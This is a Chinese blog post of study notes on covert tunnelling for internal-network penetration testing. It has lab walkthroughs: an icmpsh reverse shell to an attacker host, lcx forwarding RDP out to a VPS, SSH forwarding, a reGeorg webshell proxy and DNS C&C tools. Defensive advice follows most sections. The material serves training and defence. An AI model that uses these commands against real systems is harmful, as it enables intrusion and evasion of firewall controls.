内网渗透之隐藏通信隧道技术

学习学习

Posted by lll-yz on May 17, 2021

本文来自《内网安全攻防》

完成内网信息收集工作后,渗透测试人员需要判断流量是否出得去、进得来。隐藏通信隧道技术常用于在访问受限的网络环境中追踪数据流向和在非受信任的网络中实现安全的数据传输。

隐藏通信隧道基础知识

隐藏通信隧道概述

一般的网络通信,先在两台机器之间建立TCP连接,然后进行正常的数据通信。在知道IP地址的情况下,可以直接发送报文;如果不知道IP地址,就需要将域名解析成IP地址。在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接的情况,如果发现异常,就会对通信进行阻断。

什么是隧道?这里的隧道,就是一种绕过端口屏蔽的通信方法。防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应的服务器上。

常用的隧道列举如下:

  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道。
  • 网络层:IPv6隧道、ICMP隧道、GRE隧道。
  • 传输层:TCP隧道、UDP隧道、常规端口转发。

判断内网的连通性

判断内网的连通性是指判断机器能否上外网等。要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信的情况。常见的允许流量流出的端口有80、8080、443、53、110、123等。常用的内网连通性判断方法如下:

1.ICMP协议

执行命令ping <IP地址或域名>

gRzzTK.png

2.TCP协议

netcat(简称:nc),是一个短小精悍的工具,通过使用TCP或UDP协议的网络连接读写数据。

nc -nv <IP地址 端口号>
3.HTTP协议

curl是一个利用URL规则在命令行下工作的综合文件传输工具,支持文件的上传和下载。curl命令不仅支持HTTP、HTTPS、FTP等众多协议,还支持POST、cookie、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。

curl <IP地址:端口号>

如果远程主机开启了相应的端口,会输出相应的端口信息,木有则木有任何提示。

4.DNS协议

在进行DNS连通性检测时,常用的命令为nslookup和dig。

nslookup是Windows操作系统自带的DNS探测命令,其用法如下:在没有指定vps-ip时,nslookup会从系统网络的TCP/IP属性中读取DNS服务器的地址。

nslookup www.baidu.com

dig是Linux自带的DNS探测命令。

dig www.baiud.com

还有一种情况是流量不能直接流出,需要在内网中设置代理服务器,常见于通过企业办公网段上网的场景。常用的判断方法如下:

(1)查看网络连接,判断是否存在与其他机器的8080(不绝对)等端口的连接(可以尝试运行ping -n l -a ip命令)。(-n ping的次数 -a 返回ping的主机名)

(2)查看内网中是否有主机名类似于”proxy”的机器。

(3)查看IE浏览器的直接代理。

(4)根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来并查看。

(5)执行如下命令,利用curl工具进行确认:

curl www.baidu.com  //不通
curl -x proxy-ip:port www.baidu.com  //通

网络层隧道技术

在网络层中,两个常用的隧道协议是IPv6和ICMP。

IPv6隧道

“IPv6”是”Internet Protocol Version 6”的缩写,也被称为下一代互联网协议。号称可以为每一粒沙子都分配一个IP。

1.IPv6隧道技术简介

IPv6隧道技术是指通过IPv4隧道传送IPv6隧道数据报文的技术。为了在IPv4海洋中传递IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6报文能够穿过IPv4海洋,到达另一个IPv6小岛。

IPv6隧道的工作过程

1.节点A要向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道。

2.节点A将IPv6报文封装在以节点B的IPv4地址为目的地址,以自己的IPv4地址为源地址的IPv4报文中,并发往IPv4海洋。

3.在IPv4海洋中,这个报文和普通IPv4报文一样,经过IPv4的转发到达节点B。

4.节点B收到此报文之后,解除IPv4封装,取出其中的IPv6报文。

gWFah6.png

因为现阶段的边界设备、防火墙甚至入侵防御系统还无法识别IPv6的通信数据,而大多数操作系统支持IPv6,所以需要进行人工配置。

gWF7Hs.png

攻击者有时会通过恶意软件来配置允许进行IPv6通信的设备,以避开防火墙和入侵检测系统。(即使设备支持IPv6,也可能无法正确分析封装了IPv6报文的IPv4数据包)

配置隧道和自动隧道的主要区别是:只有在执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点分配IP地址时,如果采用的是自动隧道方法,就不需要进行配置。

配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用 DHCP、人工配置或其他IPv4的配置机制。

支持IPv6的隧道工具有socat, 6tunnel, nt6tunnel等。

2.防御IPv6隧道攻击的方法

针对IPv6隧道攻击,最好的防御方法是:了解IPv6的具体漏洞,结合其他协议,通过防火墙和深度防御系统过滤IPv6通信,提高主机和应用程序的安全性。

ICMP隧道

ICMP隧道简单,实用,是一个比较特殊的协议。在一般的通信协议里,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要。最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下,每个ping命令都有相对应的回复与请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如:HTTP隧道、DNS隧道、常规正/反向端口转发等)进行的操作都失败了,常常会通过ping命令访问远程计算机,尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(通常防火墙不会屏蔽ping数据包),实现不受限制的网络访问。

常用的ICMP隧道工具:icmpsh, PingTunnel, icmptunnel, powershell icmp等。

1.icmpsh

icmpsh工具使用简单,便于”携带”(跨平台),运行时不需要管理员权限。(杀软会报毒)

使用git clone 命令下载 icmpsh:

git clone https://github.com/inquisb/icmpsh.git

使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问:

apt-get install python3-impacket

但这里是为python3安装的,所以还得安装一个pip2:

wget https://bootstrap.pypa.io/pip/2.6/get-pip.py

python2 get-pip.py

pip2 -V

pip2 install impacket

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP应答(如果要恢复系统应答,则设置为0),否则shell的运行会不稳定。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

在目录下输入./run.sh开启

gWjxET.png

icmp基本命令:

unrecognized option --
icmpsh.exe [options] -t target
options:
  -t host            发送ping请求的主机ip地址
  -r                 发送单个测试icmp请求,然后退出
  -d milliseconds    毫秒请求之间的延迟(毫秒)(默认值为200)
  -o milliseconds    毫秒超时(毫秒)
  -h                 此屏幕
  -b num             最大空白数(未响应的icmp请求) 
                     退出前
  -s bytes           字节最大数据缓冲区大小(字节)(默认值为64字节)

为了提高速度,降低请求之间的延迟(-d)或 增加数据缓冲区的大小(-s)

实验环境:

虚拟机模拟公网

Kali: 192.168.78.129

win7: 192.168.78.128

在Kali上打开icmpsh :在icmpsh当前目录下输入 ./run.sh。会提示输入目标的IP地址(目标主机的公网IP地址)。

192.168.78.128

python2 icmpsh_m.py 192.168.78.129 192.168.78.128

gfP7X4.png

但是最后都报了错

gfG9v4.png

所以换一个:编译一个二进制可执行文件。

gcc icmpsh-m.c -o icmpsh
./icmpsh 192.168.78.129 192.168.78.128

可以看到已经在runing….

然后在将icmpsh.exe上传到目标机上,在目标主机上查看其IP地址,然后输入如下命令:

icmpsh.exe -t 192.168.78.129 -d 500 -b 30 -s 128

在目标主机上运行以上命令后,即可在VPS中看到192.168.78.128的shell。输入ipconfig命令即可看到当前IP为其IP地址。

gf8zCT.png

抓包看看:

gfGn2D.png

可以看到大量的ICMP数据包。

最后记得把本地ping恢复:

sysctl -w net.ipv4.icmp_echo_ignore_all=0
2.PingTunnel

……

3.防御ICMP隧道攻击的方法

许多网络管理员会阻止ICMP通信进入站点。但是在出站方向,ICMP通信是被允许的,而且目前大多数的网络和边界设备不会过滤ICMP流量。使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量,具体方法如下:

  • 检测同一来源的ICMP数据包的数量。一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短时间内产生上千个ICMP数据包。
  • 注意那些payload大于64bit的ICMP数据包。
  • 寻找响应数据包中的payload与请求数据包中的payload不一致的ICMP包。
  • 检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP payload前面添加”TUNL”标记来标识隧道——这就是特征。

传输层隧道技术

传输层技术包括TCP隧道、UDP隧道和常规端口转发等。在渗透测试中,如果内网防火墙阻止了对指定端口的访问,在获得目标机器的权限后,可用使用IPTABLES打开指定端口。如果内网中存在一系列防御系统,TCP、UDP流量会被大量拦截。

lcx端口转发

lcx是一个基于Socket套接字实现的端口转发工具,有Windows和Linux两个版本。Windows版为:lcx.exe。Linux版为:portmap。一个正常的Socket隧道必须具备两端:一端为服务端,监听一个端口,等待客户端的连接;另一端为客户端,通过传入服务端的IP地址和端口,才能主动与服务器连接。

1.内网端口转发

在目标机器上执行如下命令,将目标机器3389端口的所有数据转发到公网VPS的4444端口上。

lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389

在VPS上执行如下命令,将本机4444端口上监听的所有数据转发到本机的5555端口上。

lcx.exe -listen 4444 5555

此时,用 mstsc 登录”<公网主机IP地址>:5555",或者在VPS上用mstsc登录主机127.0.0.1的5555端口,即可访问目标服务器的3389端口。

2.本地端口映射

如果目标服务器由于防火墙的限制,部分端口(如 3389)的数据无法通过防火墙,可用将目标服务器相应端口的数据透传到防火墙允许的其他端口(如 53)。在目标主机上执行如下命令,就可以直接从远程桌面连接目标主机的53端口。

lcx -tran 53 <目标主机IP地址> 3389

netcat

netcat——从网络的一端读取数据,输出到网络的另一端(可用使用TCP和UDP协议)。

具体–>here

powercat

powercat 可以说是 nc 的 powershell 版本。

应用层隧道技术

应用层隧道通信技术主要利用软件提供的端口来发送数据。

常见的应用层隧道协议有:SSH、HTTP、HTTPS、DNS。

SSH协议

在内网中,几乎所有的 Linux/UNIX 服务器和网络设备都支持SSH协议。

在一般情况下,SSH协议是被允许通过防火墙和边界设备的。

同时,SSH协议的传输过程是加密的,所以很难区分合法的SSH会话和攻击者利用其他网络建立的隧道。攻击者使用SSH端口隧道突破防火墙的限制后,能够建立一些之前无法建立的TCP连接。

一个普通的SSH命令如下:

ssh root@192.168.78.129

创建 SSH 隧道常用的参数说明:

  • -C:压缩传输,提高传输速度。
  • -f:将 SSH 传输转入后台执行,不占用当前shell。
  • -N:建立静默连接。(建立了连接,但是看不到具体会话)
  • -g:允许远程主机连接本地用于转发的端口。
  • -L:本地端口转发。
  • -R:远程端口转发。
  • -D:动态转发 ( SOCKS 代理)。
  • -P:指定 SSH 端口。
1.本地端口转发

实验:(环境有点不严谨,重在理解。(手动狗头))

测试目标:A 是攻击者,B 和 C 在同一内网,A 可以访问 B,但不能访问 C,使 A 通过 B 作为跳板机访问 C 的 80 端口。

A:Kali 192.168.78.129 host1

B:Kali 192.168.78.131 host3

C:win7 192.168.78.128 host2

D:Ubuntu 192.168.78.130 host4

借个图来看看:

gIk9Yj.png

ssh支持本地端口转发,语法格式为:

ssh -L [local_bind_addr:]local_port:remote:remote_port middle_host

以上图为例,实现方式是在host1上执行:

ssh -g -L 2222:host2:80 host3

其中-L选项表示本地端口转发,其工作方式为:在本地指定一个由SSH监听的转发端口(2222),将远程主机的端口(host2:80)映射为本地端口(2222),当有主机连接本地映射端口(2222)时,本地SSH就将此端口的数据包转发给中间主机(host3),然后host3再与远程主机的端口(host2:80)通信

gIC1Z4.png

然后我们就可以通过访问host1的2222端口来达到访问host2:80的目的了。这里我在host2处开启了phpstudy来判断是否成功。

gICRQf.png

再来解释一下-g选项,指定该选项表示允许外界主机连接本地转发端口(2222),如果不指定-g,则host4无法通过访问host1:2222达到访问host2:80的目的,之所以如此,是因为本地转发端口默认绑定在回环地址上。可以使用bind_addr来改变转发端口的绑定地址,例如:

ssh -L 192.168.78.129:2222:host2:80 host3

这样,host1自身就能通过访问192.168.78.128:2222的方式达到访问host2:80的目的。

一般来说,使用转发端口,都建议同时使用-g选项,否则将只有自身能访问转发端口。

再来分析一下转发端口通信的过程。

gIAdVU.png

当host4发起172.16.10.5:2222的连接时,数据包的目标地址和端口为172.16.10.5:2222。由于host1上SSH已经监听了2222端口,并且知道该端口映射哪台主机哪个端口,所以会把该数据包目标地址和端口替换为172.16.10.3:80,并将此数据包通过转发给host3。当host3收到该数据包时,发现是host1转发过来的请求访问host2:80的数据包,所以host3将代访问host2的80端口。

所以,host1和host3之间的通信方式是SSH协议,这段连接是安全加密的,因此称为”安全隧道”,而host3和host2之间通信协议则是HTTP。

现在再来考虑一下,通过本地端口转发的方式如何实现SSH跳板的功能呢?仍以上图为例:

ssh -g -L 22333:host2:22 host3

这样只需要使用SSH连上host1的22333端口就等于连接了host2的22端口。

最后,关于端口转发有一个需要注意的问题:ssh命令中带有要执行的命令。考虑了下面三条在host1上执行的命令的区别:

ssh -g -L 22333:host2:22 host3

ssh -g -L 22333:host2:22 host3 "ifconfig"

ssh -g -L 22333:host2:22 host3 "sleep 10"

第一条命令开启了本地端口转发,且是以登录到host3的方式开启的,所以执行完该命令后,将跳转到host3主机上,当退出host3时,端口转发功能将被关闭。另外,host1上之所以要开启端口转发,目的是为了与host2进行通信,而不是跳到host3上,所以应该在ssh命令行上加上-f选项,让ssh在本机host1上以后台方式提供端口转发功能,而不是跳到host3上来提供端口转发功能。

第二条命令在开启本地转发的时候还指定了要在host3上执行”ifconfig”命令,但是ssh的工作机制是远程命令执行完毕的那一刻,ssh关闭连接,所以此命令开启的本地端口转发功能有效期只有ifconfig命令执行的一瞬间。

第三条命令和第二条命令相似,执行睡眠10秒命令,执行后即断开连接。

所以,在开启端口转发功能时,建议让ssh以后台方式提供端口转发功能,且明确指示不要执行任何ssh命令行上的远程命令。即最佳开启方式为:

ssh -CfNg -L 22333:host2:22 host3
2.远程端口转发

ssh 除了支持本地端口转发,还支持远程端口转发。顾名思义,远程端口转发表示的是将远程端口的数据转发到本地。

如下图:假如host3是内网主机,它能和host2互相通信,也能和host1通信,但反过来,host1不能和host3通信且host1也不能和host2互相通信。这时要让host1访问host3或host2就没办法通过本地端口转发了,因为要在host1上开启本地端口转发,必须和host3通信请求建立隧道。

还是借用大佬的图来理解:

gI67p8.png

可以通过在host3上发起远程端口转发来实现,因为host3能和host1通信,host3可以请求在host1和host3之间建立隧道。

语法如下:(bind:监听)

ssh -R [bind_addr:]remotel_port:host:port remotel

以上图为例,实现方式是在host3上执行:

ssh -R 22333:host2:80 host1

这表示host3请求host1上的22333端口服务,在host1上建立一个套接字监听22333端口,它是host2端口的映射,当有主机连接host1:22333时,此连接中的数据全部都通过host1和host3之间的安全隧道转发给host3,再由host3向host2的80端口发起访问。由于host3请求开启的端口转发是在远程主机host1上的,所以称为”远程端口转发”。

再考虑一下这条命令所开启的远程端口转发,它也是在host3上执行的:

ssh -R 22333:host3:80 host1

该命令将自身的host3:80端口映射到host1的22333端口上,这也能让host1和host2、host3通信,因为隧道是建立在host1:22333 <------> host3:80上的。

但是,远程端口转发和本地端口转发最大一个区别是,远程端口转发是由host1上的sshd服务控制的,默认配置下,sshd服务只允许本地开启的远程端口(22333)转发绑定在环回地址(127.0.0.1)上,即使显示指定了bind_addr也无法覆盖。如下:

gITn61.png

gITMm6.png

目前在host1上只能在环回地址上访问到host2的80端口,而本地IP不能访问。

所以我们要允许本地的远程转发端口绑定在非环回地址上,需要在host1的sshd配置文件中启用”GatewayPorts”项,它的默认值为no。

修改之后则可以成功用本地IP访问:

root@localhost:~# netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      3022/sshd: /usr/sbi 
tcp        0      0 0.0.0.0:22333           0.0.0.0:*               LISTEN      2590/sshd: root@pts 
tcp6       0      0 :::22                   :::*                    LISTEN      3022/sshd: /usr/sbi 
tcp6       0      0 :::22333                :::*                    LISTEN      2590/sshd: root@pts 

可以看到绑定到了本地地址上。

gIHol9.png

对了,还是建议使用如下命令来连接:

ssh -CfNg -R 22333:host2:80 host1

这样比较可靠。

3.动态端口转发

无论是本地端口转发还是远程端口转发,都是将某固定主机及其端口映射到本地或远程转发端口上,例如将host2:80映射到host1:2222端口。也就是说,本地或远程端口转发和目标端口所代表的的应用层协议是一对一的关系,2222端口必须对应的是HTTP的80端口,使用浏览器向host1:2222端口发起HTTP请求当然没有问题,但是使用ssh工具向host1:2222发起连接将会被拒绝,因为host2上HTTP服务只能解析HTTP请求,不能解析ssh连接请求。

ssh支持动态端口转发,由ssh来判断发起请求的工具使用的是什么应用层协议,然后根据判断出的协议结果决定目标端口。

以下图为例说明(还是借用大佬图),host1处在办公内网,能和host3互相通信,但它无法直接和互联网和host2通信,而host3则可以和host2以及互联网通信。

gIOH3D.png

要让host1访问互联网,又能和host2的22端口即ssh服务通信,显然在host1上仅设置一个本地端口转发是不够的,虽然可以设置多个本地端口转发分别映射不同的端口,但在显然比较笨重和麻烦。所以,我们可以使用动态端口转发。

动态端口转发语法格式为:

ssh -D [bind_addr:]port remote

以上图为例,在host1上执行:

ssh -CfNg -D 2222 host3

执行完上面的命令,host1将在本地开启SOCKS4或SOCKS5服务来监听2222端口。只要客户端程序工具(隐含了使用的应用层协议类型),将其自身的代理设置为host1:2222,则该程序所有产生的数据都将转发到host1:2222,再由host:2222将数据通过隧道转发给host3,最后由host3和互联网或host2上对应客户端工具的应用层协议的端口进行通信。

其实很简单,假如host4使用ie浏览器作为客户端工具,并将ie浏览器的代理设置为host1:2222,由于ie浏览器发起的请求使用的是HTTP协议(此处不考虑其他可能的协议),那么ie浏览器产生的数据都转发到host1:2222,再由host1:2222通过隧道转发给host3,host3能联网,所以host4就实现了联网功能。

实验环境:

A:Kali 192.168.78.129

B:Kali 192.168.78.131

C:win7 192.168.78.128

这里我在 win7 上屏蔽了 B 的IP,所以现在 B 是访问不到 C 的。(windows 上屏蔽IP —–> here)

在 B 上访问 C :

gTVb4O.png

在 A 上访问 C :

gTVzDI.png

开始实验 ——-> 啦啦啦啦啦啦啦啦啦啦

在 B 上输入:

ssh -CfNg -D 2222 192.168.78.129

建立一个动态的 SOCKS 4/5 隧道,输入密码。

在本地浏览器中设置网络代理,访问 C 的网页。

gozcb4.png

gozhP1.png

成功访问到了 C 的网页。

动态端口映射就是建立一个 SSH 加密的 socks 4/5 代理通道。任何支持 SOCKS 4/5 协议的程序都可以使用这个加密通道进行代理访问。

参考—->here

防御 SSH 隧道攻击的思路

SSH 隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置 SSH 远程管理白名单,在 ACL(访问控制列表) 中限制只有特定的 IP 地址才能连接 SSH,以及设置系统完全使用带外管理方法,都可以避免这一问题。

如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制 SSH 远程登录的地址和双向访问控制策略(从外部到内部,从内部到外部)。

HTTP/HTTPS协议

HTTP Service 代理用于将所有的流量转发到内网。常见的工具有 reGeorg、meterpreter、tunna等。

reGeorg 是 reDuh 的升级版,利用了会话层的 socks5 协议,而 Proxifier 是一款强大的 socks5 客户端,可以让不支持通过代理服务器工作的网络能够通过 HTTPS 或 SOCKS5 代理或代理链。该文件下支持php, asp, jsp, aspx。(reGeorg 脚本的特征非常明显,很多杀毒软件都会对其进行查杀)

内网转发工具大体分为:端口转发工具(lcx.exe),Web代理脚本,shell反弹脚本等。

reGeorg 的出现,方便了安全测试代理进入内网,现在使用 reGeorg 和 Proxifier,在安全测试过程中,可以利用它们的组合完成从外网到内网的通信。

gTK7VA.png

模拟 reGeorg 转发视图:

gTMuZ9.png

正向代理和反向代理

1.正向代理: 正向代理类似一个跳板机,代理访问内部资源。

gTMrz8.png

举个例子:我是一个用户,我访问不了某网站,但是我能访问一个代理服务器,这个代理服务器能够访问那个我不能访问的网站,于是我先连上代理服务器,告诉它我需要那个无法访问的网站的内容,代理服务器去取回来,然后返回给我。从网站的角度,只在代理服务器来取内容的时候有一次记录,有时候并不知道是用户的请求,也隐藏了用户的资料,这取决于代理告不告诉网站。

客户端必须设置正向代理服务器,前提是要知道正向代理服务器的 IP 地址,还有代理程序的端口。

总结:正向代理是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。

正向代理用途:

(1)访问原来无法访问的资源,如:Google、YouTube等。

(2)可以做缓存,加速访问资源。

(3)对客户端访问授权,上网进行认证。

(4)记录用户访问记录,管理上网行为,对外隐藏用户信息。

2.反向代理:

反向代理 (Reverse Proxy) 实际运行方式是指以代理服务器来接受 Internet 上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给 Internet 上请求连接的客户端,此时代理服务器对外就表现为一个服务器。

反向代理的作用:

(1)保证内网的安全,可以使用反向代理提供 WAF 功能,阻止 Web 攻击大型网站,通常将反向代理作为公网访问地址,Web 服务器是内网。

gTlmNR.png

(2)负载均衡,通过反向代理服务器来优化网站的负载。

gTl8De.png

——————————————————————————————————————————————————

gTlrDg.png

即正向代理隐藏的是客户端,反向代理隐藏的是服务端。

内网渗透代理工具 reGeorg + Proxifier 工具利用场景

目标环境: Linux 服务器受到防火墙的限制,防火墙 DMZ 区域映射外网端口80,外网只能通过80端口访问内网,内网只能返回HTTP的流量,无法采用反向代理的形式。利用常规的 lcx 等工具也会被各种安全软件拦截,只有一枚权限较低的 webshell,尝试提权无果。

为什么需要内网穿透:一般来说,Linux 提权需要获取一个反弹回来的半交互式 shell,内网穿透可以用来进一步内网渗透。

如何进行内网穿透:

(1)反向代理:将内网的流量转发到外网。

(2)正向代理:以某台机器为跳板,做正向代理进行内网穿透。

这里很明显,我们只能通过80端口访问目标机器。因此需要借助 webshell 搭建一个正向代理。

这个时候就需要一款内网代理和端口转发工具,穿越防火墙的阻挡直连内网。

实验环境:还是和上一个一样来弄吧。效果都是一样的。

A:Kali 192.168.78.129

B:Kali 192.168.78.131

C:win7 192.168.78.128

win7 上屏蔽了 B 的IP,所以现在 B 是访问不到 C 的,但是 A 可以。(开放的也是80端口)

tunnel.nosocket.php脚本上传到 A 上,然后访问:(得到如下页面即可)

gbxNct.png

然后在 B 上输入命令和 A 建立隧道:

python reGeorgSocksProxy.py -p 9999 -u http://192.168.78.129/tunnel.nosocket.php

还要配置一下 proxychains 的配置文件,/etc/proxychains.conf

在最下方加上:

socks5 127.0.0.1 9999

gbxdnf.png

gbxshj.png

然后我们就可以访问了:

gbxxED.png

gbxzUe.png

可以看到原来不能访问,然后我们通过代理成功的访问。

Ps:socks4协议不支持 udp 和 icmp 协议,socks5 不支持 icmp 协议,所以我们使用 nmap 时要加上 -sT -Pn 即使用 tcp 协议且不使用 icmp 协议。

扫描内网端口:

proxychains nmap -sT -Pn -open 192.168.78.128

image-20210522094458299

🆗

参考文章 —-> here

DNS协议

DNS 协议是一种请求/应答协议,也是一种可用于应用层的隧道技术。虽然激增的 DNS 流量可能会被发现,但是基于传统 Socket 隧道已经濒临淘汰及 TCP、UDP 通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为攻击者控制隧道的主流渠道。

DNS 隧道的好处:

  • 网络世界中,DNS 是必不可少的服务。
  • DNS 报文本身具有穿透防火墙的能力。
  • 防火墙和入侵检测设备大都不会过滤 DNS 流量。

为 DNS 成为隐蔽信道创造了条件。(DNS 隧道在僵尸网络和 APT 攻击中扮演着重要的角色)

用于管理僵尸网络和进行 APT 攻击的服务器叫作 C&C 服务器 (Command and Control Server,命令及控制服务器)。C&C 节点分为两种,分别是 C&C 服务端 (攻击者) 和 C&C 客户端 (被控制的计算机)。C&C 通信是指植入 C&C 客户端的木马或者后门程序与 C&C 服务端上的远程控制程序之间的通信。

正常网络之间的通信,都是在两台机器之间建立 TCP 连接后进行的。在进行数据通信时:如果目标是 IP 地址,可用直接发送报文;如果目标是域名,会先将域名解析成 IP 地址,再进行通信。两台机器建立连接后,C&C 服务端就可以将指令传递给 C&C 客户端上的木马(后门)程序,让其受到控制。

内网中安装了各种软/硬件防护设施来检查主机与外部网络的连接情况。很多厂商会收集 C&C 服务端的域名,IP 地址、URL 等数据,帮助防火墙进行阻断操作。这样,C&C 通信就会被切断。于是,通过各种隧道技术实现 C&C 通信的技术(特别是 DNS 隧道技术)出现了。

DNS 隧道的工作原理:

在进行 DNS 查询时,如果查询的域名不在 DNS 服务器本机的缓存中,就会访问互联网进行查询,然后返回结果。如果在互联网上有一台定制的服务器,那么依靠 DNS 协议即可进行数据包的交换。

从 DNS 协议的角度看,这样的操作只是在一次次地查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是应该 IP 地址,而事实上不是——返回的可用是任意字符串,包括加密的 C&C 指令。

​ 域名型 DNS 隧道木马的通信架构:

gqiyZt.png

在使用 DNS 隧道与外部进行通信时,从表面上看是没有连接外网的(内网网关没有转发 IP 数据包),但实际上,内网的 DNS 服务器进行了中转操作。

这就是 DNS 隧道的工作原理,简单地说,就是将其他协议封装在 DNS 协议中进行传输。

1.查看 DNS 的连通性

首先,需要知道当前服务器是否允许通过内部 DNS 解析外部域名,也就是要测试 DNS 的连通性。

查询当前内部域名及 IP 地址,输入:

cat /etc/resolv.conf|grep -v '#'

查看能否与内部 DNS 通信:

nslookup localdomain

查询是否通过内部 DNS 服务器解析外部域名:

nslookup baidu.com

image-20210522103959620

2.dnscat2

dnscat2 是一款开源软件。它使用 DNS 协议创建加密的 C&C 通道,通过预共享密钥进行身份验证;使用 shell 及 DNS 查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于 SSH 中的隧道。

dnscat2 的客户端是用 C 语言编写的,服务端是用 Ruby 语言编写的。严格地讲,dnscat2 是一个命令与控制工具。

使用 dnscat2 隧道的模式有两种,分别是直连模式和中继模式:

  • 直连模式:客户端直接向指定 IP 地址的 DNS 服务器发起解析请求。
  • 中继模式:DNS 经过互联网的迭代解析,指向指定的 DNS 服务器。与直连模式相比,中继模式的速度较缓慢。

如果目标内网中的请求仅限于白名单服务器或者特定的域,dnscat2 会使用中继模式来申请一个域名,并将运行 dnscat2 服务端的服务器指定为受信任的 DNS 服务器。

DNS 隧道的应用场景:

在安全策略严格的内网环境中,常见的 C&C 通信端口会被众多安全设备所监控,Red Team 对目标内网的终端进行渗透测试,发现该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的 C&C 通信无法建立。然后,DNS 隐蔽隧道就该出马了。

dnscat2 通过 DNS 进行控制并执行命令。与同类工具相比,dnscat2 具有如下特点:

  • 支持多个会话。
  • 流量加密。
  • 使用密钥防止 MiTM 攻击(中间人攻击)。
  • 在内存中直接执行 PowerShell 脚本。
  • 隐蔽通信。

开始实验

(1)部署域名解析

在一台外网 VPS 服务器上安装 Linux 操作系统(作为 C&C 服务器),并提供一个可以配置的域名。

3.iodine

碘的原子序数为53,而这恰好是 DNS 的端口号,故该工具被命名为 “iodine”。

iodine 可以通过一台 DNS 服务器制造一个 IPv4 数据通道,特别适合在目标主机只能发送 DNS 请求的网络环境中使用。iodine 是基于 C 语言开发的,分为服务端程序 iodined 和客户端程序 iodine。(kali 自带)

iodine 特点:

  • 不会对下行数据进行编码。
  • 支持多平台,包括 Linux、BSD、Mac OS、Windows。
  • 支持 16 个并发连接。
  • 支持强制密码机制。
  • 支持同网段隧道 IP 地址 (不同于服务器——客户端网段)。
  • 支持多种 DNS 记录类型。
  • 提供了丰富的隧道质量检测措施。

iodine 支持直接转发和中继两种模式,其原理是:通过 TAP 虚拟网卡,在服务端建立一个局域网;在客户端,通过 TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同一个局域网(可以通过 ping 命令通信)。在客户端和服务端之间建立连接后,客户机上会多出一块名为 “dns0” 的虚拟网卡。

实验:

防御 DNS 隧道

1.禁止网络中任何人向外部服务器发送 DNS 请求,只允许与受信任的 DNS 服务器通信。

2.虽然没有人会将 TXT 解析请求发送给 DNS 服务器,但是 dnscat2 和邮件服务器/网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻止传入和传出流量中的 TXT 请求。

3.跟踪用户的 DNS 查询次数。如果达到阈值,就生成相应的报告。

4.阻止 ICMP。

SOCKS代理

常见的网络场景有如下三类:

  • 服务器在内网中,可以任意访问外部网络。
  • 服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。
  • 服务器在内网中,对外开放了部分端口(例如 80 端口),且服务器不能访问外部网络。
常用 SOCKS 代理工具

SOCKS 是一种代理服务,可以简单地将一端的系统连接另一端。SOCKS 支持多种协议,包括 HTTP、FTP 等。SOCKS 分为 SOCKS 4 和 SOCKS 5 两种类型。

SOCKS 4 只支持 TCP 协议;SOCKS 5 不仅支持 TCP/UDP 协议,还支持各种身份验证机制等,其标准端口为 1080。SOCKS 能够与目标内网计算机进行通信,避免多次使用端口转发。

SOCKS 代理其实可以理解为增强版的 lcx。它在服务端监听一个服务端口,当有新的连接请求出现时,会先从 SOCKS 协议中解析出目标的 URL 的目标端口,再执行 lcx 的具体功能。SOCKS 代理工具有很多,在使用时要尽可能选择没有 GUI 界面的。此外,要尽量选择不需要安装其他依赖软件的 SOCKS 代理工具,能够支持多平台的工具更佳。

一个常见的内网渗透测试环境:

gLWrE6.png

常用工具:

gLWHPS.png

1.EarthWorm

EarthWorm (EW) 是一套便携式的网络工具,具有 SOCKS 5 服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透。

EW 能够以正向、反向、多级级联等方式建立网络隧道。EW 工具包提供了多个可执行文件,以适用不同的操作系统 (Linux、Windows、Mac OS、ARM-Linux 均包含在内)。

下载 —–> here

Termite EW 的新版本。

下载 —–> here

2.reGeorg

reGeorg 是 reDuh 的升级版,主要功能是把内网服务器的端口通过 HTTP/HTTPS 隧道转发到本机,形成一个回路。

